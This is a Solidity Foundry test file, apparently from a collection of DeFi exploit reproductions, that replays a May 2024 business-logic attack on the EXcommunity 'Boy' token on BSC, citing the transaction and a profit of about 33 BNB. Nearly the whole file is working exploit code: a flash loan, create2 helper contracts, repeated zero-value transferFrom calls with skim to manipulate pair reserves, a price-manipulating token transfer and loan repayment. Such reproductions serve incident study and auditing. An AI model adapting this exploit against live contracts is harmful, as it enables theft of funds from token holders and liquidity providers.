src/test/2024-05/EXcommunity_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// TX : https://app.blocksec.com/explorer/tx/bsc/0x5446bf2b57749abdab01813a50ce36246177f3437599f3a56bc1554f596b2c3a
8// GUY : https://x.com/SlowMist_Team/status/1795648617530995130
9// Profit : ~33 bnb
10// REASON : Business Logic Flaw
11 
12interface Boy is IERC20 {
13    function getPrice() external returns (uint256);
14}
15 
16contract ContractTest is Test {
17    IWBNB constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
18    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
19    Uni_Pair_V3 Pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);
20    Uni_Pair_V2 Pair = Uni_Pair_V2(0x74f5FE81F67FA30A679d3547f7F9B97a2dd46BA5);
21    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
22    IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
23    IERC20 Girl = IERC20(0xb1de93DAe1CDdF429eEc9DB30b78759d17495758);
24    Boy boy = Boy(0xdf4895Cd8247284Ae3a7b3E28cf6c03113fADa5f);
25    uint256 constant PRECISION = 10 ** 18;
26    address[] public Myaddress;
27 
28    function setUp() external {
29        vm.createSelectFork("bsc", 39_123_756);
30        // deal(address(BUSDT), address(this), 500000 ether);
31    }
32 
33    function testExploit() external {
34        emit log_named_decimal_uint("[End] Attacker bnb before exploit", address(this).balance, 18);
35        Pool.flash(address(this), 400_000_000_000_000_000_000_000, 0, "0x123");
36        emit log_named_decimal_uint("[End] Attacker bnb after exploit", address(this).balance, 18);
37        emit log_named_decimal_uint("[End] Attacker BUSDT after exploit", BUSDT.balanceOf(address(this)), 18);
38        emit log_named_decimal_uint("[End] Attacker boy  after exploit", boy.balanceOf(address(this)), 18);
39    }
40 
41    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
42        swap_token_to_token(address(BUSDT), address(Girl), 1 ether);
43        uint256 helpContractAmount = 10;
44        uint256 i = 0;
45        while (i < helpContractAmount) {
46            address money = cal_address(i);
47            Myaddress.push(money);
48            i++;
49        }
50        create_contract(helpContractAmount);
51        for (uint256 i = 0; i < Myaddress.length; i++) {
52            address(Myaddress[i]).call{value: 3 ether}(abi.encodeWithSignature("buy()"));
53            vm.roll(block.number + 1);
54            address(Myaddress[i]).call(abi.encodeWithSignature("send()"));
55        }
56        BUSDT.transfer(address(Pair), 399_000 ether);
57        uint256 j = 0;
58        while (j < 290) {
59            Girl.transferFrom(address(Pair), address(this), 0);
60            j++;
61        }
62        Pair.skim(address(this));
63        Girl.transfer(address(this), 1_000_000);
64        console.log("price", boy.getPrice());
65        boy.transfer(address(boy), 25_380_992_089_360_281_325_724);
66        WBNB.deposit{value: 0.4 ether}();
67        swap_token_to_token(address(WBNB), address(BUSDT), 0.4 ether);
68        BUSDT.transfer(msg.sender, 400_000 * 1e18 + fee0);
69    }
70 
71    function swap_token_to_token(address a, address b, uint256 amount) internal {
72        IERC20(a).approve(address(Router), amount);
73        address[] memory path = new address[](2);
74        path[0] = address(a);
75        path[1] = address(b);
76        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
77    }
78 
79    function cal_address(
80        uint256 time
81    ) internal returns (address) {
82        bytes memory bytecode = type(Money).creationCode;
83        uint256 _salt = time;
84        bytecode = abi.encodePacked(bytecode);
85        bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
86        address hack_contract = address(uint160(uint256(hash)));
87        return hack_contract;
88    }
89 
90    function create_contract(
91        uint256 times
92    ) internal {
93        uint256 i = 0;
94        while (i < times) {
95            bytes memory bytecode = type(Money).creationCode;
96            uint256 _salt = i;
97            bytecode = abi.encodePacked(bytecode);
98            bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
99            address hack_contract = address(uint160(uint256(hash)));
100            // console.log(hack_contract);
101            address addr;
102            // Use create2 to send money first.
103            assembly {
104                addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)
105            }
106            i++;
107        }
108    }
109 
110    receive() external payable {}
111    fallback() external payable {}
112}
113 
114contract Money is Test {
115    IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
116    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
117    Uni_Pair_V2 Pair = Uni_Pair_V2(0x74f5FE81F67FA30A679d3547f7F9B97a2dd46BA5);
118    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
119    IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
120    IERC20 Girl = IERC20(0xb1de93DAe1CDdF429eEc9DB30b78759d17495758);
121    IERC20 boy = IERC20(payable(0xdf4895Cd8247284Ae3a7b3E28cf6c03113fADa5f));
122    uint256 constant PRECISION = 10 ** 18;
123    address owner;
124 
125    constructor() {
126        owner = msg.sender;
127    }
128 
129    function buy() public payable {
130        address(boy).call{value: msg.value, gas: 20_000_000_000}("");
131    }
132 
133    function send() public {
134        boy.transfer(address(msg.sender), boy.balanceOf(address(this)));
135    }
136 
137    fallback() external payable {}
138}